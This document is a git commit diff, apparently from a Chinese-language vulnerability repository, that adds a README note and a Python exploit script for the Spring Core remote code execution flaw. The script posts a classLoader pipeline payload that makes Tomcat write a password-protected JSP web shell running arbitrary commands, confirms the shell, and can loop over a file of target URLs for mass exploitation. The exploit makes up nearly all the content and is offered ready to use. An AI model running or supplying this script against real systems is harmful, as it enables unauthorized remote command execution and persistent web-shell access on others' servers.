add Spring core rce exp & 漏洞分析

22-Spring Core/README.md

@@ -3,7 +3,7 @@
 > 继 Spring Cloud 之后，3.29 日 ，网上爆出Spring 的又一重量级漏洞：Spring Core RCE 
 
 ## 流传的打码poc
-目前poc 正在搞定中，请各位稍后
+**目前exp 已上传 ```exp.py```**  
 ![流传的打码poc](images/poc.png)  
 ![尴尬的局面](images/img_1.png)
 

22-Spring Core/exp.py

@@ -0,0 +1,44 @@
+#coding:utf-8
+
+import requests
+import argparse
+from urllib.parse import urljoin
+
+def Exploit(url):
+    headers = {"suffix":"%>//",
+                "c1":"Runtime",
+                "c2":"<%",
+                "DNT":"1",
+                "Content-Type":"application/x-www-form-urlencoded"
+
+    }
+    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
+    try:
+
+        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
+        shellurl = urljoin(url, 'tomcatwar.jsp')
+        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
+        if shellgo.status_code == 200:
+            print(f"漏洞存在，shell地址为:{shellurl}?pwd=j&cmd=whoami")
+    except Exception as e:
+        print(e)
+        pass
+
+
+
+
+def main():
+    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
+    parser.add_argument('--file',help='url file',required=False)
+    parser.add_argument('--url',help='target url',required=False)
+    args = parser.parse_args()
+    if args.url:
+        Exploit(args.url)
+    if args.file:
+        with open (args.file) as f:
+            for i in f.readlines():
+                i = i.strip()
+                Exploit(i)
+
+if __name__ == '__main__':
+    main()